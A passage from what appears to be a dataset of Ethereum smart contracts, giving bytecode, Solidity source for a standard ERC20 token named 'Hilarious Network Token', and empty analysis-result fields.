} | 0x6060604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100eb578063095ea7b31461017957806318160ddd146101d357806323b872dd146101fc5780632ff2e9dc14610275578063313ce5671461029e5780635f56b6fe146102cd57806366188463146102f057806370a082311461034a578063715018a6146103975780638da5cb5b146103ac57806395d89b4114610401578063a9059cbb1461048f578063d73dd623146104e9578063dd62ed3e14610543578063f2fde38b146105af575b600080fd5b34156100f657600080fd5b6100fe6105e8565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013e578082015181840152602081019050610123565b50505050905090810190601f16801561016b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561018457600080fd5b6101b9600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610621565b604051808215151515815260200191505060405180910390f35b34156101de57600080fd5b6101e6610713565b6040518082815260200191505060405180910390f35b341561020757600080fd5b61025b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061071d565b604051808215151515815260200191505060405180910390f35b341561028057600080fd5b610288610ad7565b6040518082815260200191505060405180910390f35b34156102a957600080fd5b6102b1610ae8565b604051808260ff1660ff16815260200191505060405180910390f35b34156102d857600080fd5b6102ee6004808035906020019091905050610aed565b005b34156102fb57600080fd5b610330600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610c36565b604051808215151515815260200191505060405180910390f35b341561035557600080fd5b610381600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ec7565b6040518082815260200191505060405180910390f35b34156103a257600080fd5b6103aa610f0f565b005b34156103b757600080fd5b6103bf611014565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561040c57600080fd5b61041461103a565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610454578082015181840152602081019050610439565b50505050905090810190601f1680156104815780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561049a57600080fd5b6104cf600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611073565b604051808215151515815260200191505060405180910390f35b34156104f457600080fd5b610529600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611292565b604051808215151515815260200191505060405180910390f35b341561054e57600080fd5b610599600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061148e565b6040518082815260200191505060405180910390f35b34156105ba57600080fd5b6105e6600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611515565b005b6040805190810160405280600e81526020017f42697468656c6c6f20546f6b656e00000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561075a57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156107a757600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561083257600080fd5b610883826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166d90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610916826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461168690919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109e782600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166d90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460ff16600a0a633b9aca000281565b600481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b4957600080fd5b6000811415610bd057600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f193505050501515610bcb57600080fd5b610c33565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501515610c3257600080fd5b5b50565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610d47576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ddb565b610d5a838261166d90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f6b57600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600881526020017f42495448454c4c4f00000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156110b057600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156110fd57600080fd5b61114e826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166d90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111e1826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461168690919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061132382600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461168690919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561157157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156115ad57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115151561167b57fe5b818303905092915050565b6000818301905082811015151561169957fe5b809050929150505600a165627a7a723058206146d81f9eaa1f3044ae149d9fa65dace3a077789ea166b8b7316f0959912ae30029 | {"success": true, "error": null, "results": {}} | 347 |
0x8F2afF4d2a7EcaeAE94B47808Bca99d430D7F011 | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
contract Coin is ERC20 {
constructor(uint256 initialSupply) public ERC20 ("Hilarious Network Token", "HAHA"){
_mint(msg.sender,initialSupply);
}
} | 0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461016857806370a082311461019857806395d89b41146101c8578063a457c2d7146101e6578063a9059cbb14610216578063dd62ed3e14610246576100a9565b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100fc57806323b872dd1461011a578063313ce5671461014a575b600080fd5b6100b6610276565b6040516100c39190610e35565b60405180910390f35b6100e660048036038101906100e19190610c83565b610308565b6040516100f39190610e1a565b60405180910390f35b610104610326565b6040516101119190610f37565b60405180910390f35b610134600480360381019061012f9190610c34565b610330565b6040516101419190610e1a565b60405180910390f35b610152610428565b60405161015f9190610f52565b60405180910390f35b610182600480360381019061017d9190610c83565b610431565b60405161018f9190610e1a565b60405180910390f35b6101b260048036038101906101ad9190610bcf565b6104dd565b6040516101bf9190610f37565b60405180910390f35b6101d0610525565b6040516101dd9190610e35565b60405180910390f35b61020060048036038101906101fb9190610c83565b6105b7565b60405161020d9190610e1a565b60405180910390f35b610230600480360381019061022b9190610c83565b6106a2565b60405161023d9190610e1a565b60405180910390f35b610260600480360381019061025b9190610bf8565b6106c0565b60405161026d9190610f37565b60405180910390f35b60606003805461028590611067565b80601f01602080910402602001604051908101604052809291908181526020018280546102b190611067565b80156102fe5780601f106102d3576101008083540402835291602001916102fe565b820191906000526020600020905b8154815290600101906020018083116102e157829003601f168201915b5050505050905090565b600061031c610315610747565b848461074f565b6001905092915050565b6000600254905090565b600061033d84848461091a565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610388610747565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610408576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ff90610eb7565b60405180910390fd5b61041c85610414610747565b85840361074f565b60019150509392505050565b60006012905090565b60006104d361043e610747565b84846001600061044c610747565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104ce9190610f89565b61074f565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60606004805461053490611067565b80601f016020809104026020016040519081016040528092919081815260200182805461056090611067565b80156105ad5780601f10610582576101008083540402835291602001916105ad565b820191906000526020600020905b81548152906001019060200180831161059057829003601f168201915b5050505050905090565b600080600160006105c6610747565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610683576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161067a90610f17565b60405180910390fd5b61069761068e610747565b8585840361074f565b600191505092915050565b60006106b66106af610747565b848461091a565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156107bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107b690610ef7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561082f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082690610e77565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161090d9190610f37565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561098a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098190610ed7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156109fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f190610e57565b60405180910390fd5b610a05838383610b9b565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610a8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8290610e97565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b1e9190610f89565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b829190610f37565b60405180910390a3610b95848484610ba0565b50505050565b505050565b505050565b600081359050610bb481611331565b92915050565b600081359050610bc981611348565b92915050565b600060208284031215610be157600080fd5b6000610bef84828501610ba5565b91505092915050565b60008060408385031215610c0b57600080fd5b6000610c1985828601610ba5565b9250506020610c2a85828601610ba5565b9150509250929050565b600080600060608486031215610c4957600080fd5b6000610c5786828701610ba5565b9350506020610c6886828701610ba5565b9250506040610c7986828701610bba565b9150509250925092565b60008060408385031215610c9657600080fd5b6000610ca485828601610ba5565b9250506020610cb585828601610bba565b9150509250929050565b610cc881610ff1565b82525050565b6000610cd982610f6d565b610ce38185610f78565b9350610cf3818560208601611034565b610cfc816110f7565b840191505092915050565b6000610d14602383610f78565b9150610d1f82611108565b604082019050919050565b6000610d37602283610f78565b9150610d4282611157565b604082019050919050565b6000610d5a602683610f78565b9150610d65826111a6565b604082019050919050565b6000610d7d602883610f78565b9150610d88826111f5565b604082019050919050565b6000610da0602583610f78565b9150610dab82611244565b604082019050919050565b6000610dc3602483610f78565b9150610dce82611293565b604082019050919050565b6000610de6602583610f78565b9150610df1826112e2565b604082019050919050565b610e058161101d565b82525050565b610e1481611027565b82525050565b6000602082019050610e2f6000830184610cbf565b92915050565b60006020820190508181036000830152610e4f8184610cce565b905092915050565b60006020820190508181036000830152610e7081610d07565b9050919050565b60006020820190508181036000830152610e9081610d2a565b9050919050565b60006020820190508181036000830152610eb081610d4d565b9050919050565b60006020820190508181036000830152610ed081610d70565b9050919050565b60006020820190508181036000830152610ef081610d93565b9050919050565b60006020820190508181036000830152610f1081610db6565b9050919050565b60006020820190508181036000830152610f3081610dd9565b9050919050565b6000602082019050610f4c6000830184610dfc565b92915050565b6000602082019050610f676000830184610e0b565b92915050565b600081519050919050565b600082825260208201905092915050565b6000610f948261101d565b9150610f9f8361101d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115610fd457610fd3611099565b5b828201905092915050565b6000610fea82610ffd565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611052578082015181840152602081019050611037565b83811115611061576000848401525b50505050565b6000600282049050600182168061107f57607f821691505b60208210811415611093576110926110c8565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b61133a81610fdf565b811461134557600080fd5b50565b6113518161101d565b811461135c57600080fd5b5056fea26469706673582212205896df0e0bfb0a1d58bfc4e68f3bc7cd8bd118710c462ee6f1bb6b0842d8928664736f6c63430008010033 | {"success": true, "error": null, 